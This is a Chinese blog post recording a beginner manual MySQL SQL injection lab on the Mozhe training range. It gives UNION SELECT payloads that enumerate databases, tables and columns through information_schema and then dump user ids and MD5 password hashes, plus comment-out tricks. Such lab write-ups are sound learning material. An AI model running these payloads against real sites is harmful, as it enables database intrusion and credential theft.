MySQL手工注入(墨者-入门)

前几天完成的一个MySQL手工注入靶场,今天练起来居然觉得懵懵的,想着还是记录下来吧以后也方便找出来看

信息收集

  • 猜解列名数量(字段数):order by x(看x为几时页面会出错)
  • 报错猜解准备:用union select 1,2,3,……判断具体哪个字段会有回显
  • 根据查询到数据库——表名——列名——数据来找想要的数据
  • 查询数据库:version()
  • 数据库名字:database()
  • 数据库用户:user()
  • 操作系统:@@version_compile_os
  • information_schema.tables 记录所有表名信息的表
  • information_schema.columns 记录所有列名信息的表

我们的目的是找到用户名和密码,为此得根据mysql的特性一级一级向下找。

ONE

order by 猜解字段数

在这里插入图片描述

TWO

  • union select 猜解回显字段,然后令id为假爆出当前数据库——database()

在这里插入图片描述

  • 若想查看所有数据库,用group_concat函数查看所有分组(mysql5.0版本以上有information_schema.schemata存有所有数据库名)
union select 1,2,group_concat(schema_name),4 from information_schema.schemata

在这里插入图片描述

Three

爆出当前数据库下的所有表名

union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'

where table_schema='mozhe_Discuz_StormGroup'或者where table_schema=databese()——指定当前数据库table_schema
在这里插入图片描述

Four

爆出StormGroup_member下的列名

union select 1,2,group_concat(column_name),4 from information_schema.columns where table_name='StormGroup_member'

where table_name='StormGroup_member'——指定表名table_name
在这里插入图片描述

Five

爆出字段值
那既然我们找到了id和password在StormGroup_member这张表里,那么就可以直接爆出字段值了

union select 1,group_concat(id),group_concat(password),4 from StormGroup_member

这里直接from+表名就可以了。
在这里插入图片描述
这是MD5密文,之后用工具解码就可以得到密码啦~

小注:

  • URL编码:当我们输入空格或引号到URL时会自动转换成URL编码,如空格是%20,单引号是%27。
  • 若爆破失败,可能是sql语句中含有LIMIT 0,1,这时候要用 “-- +”注释掉“LIMIT 0,1”(-- 是mysql的注释符号,+是url编码中代替空格的),有时候也可以#替代。
  • 注意注入语句的字符闭合。

有问题再提出我们一起进步鸭😘~

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值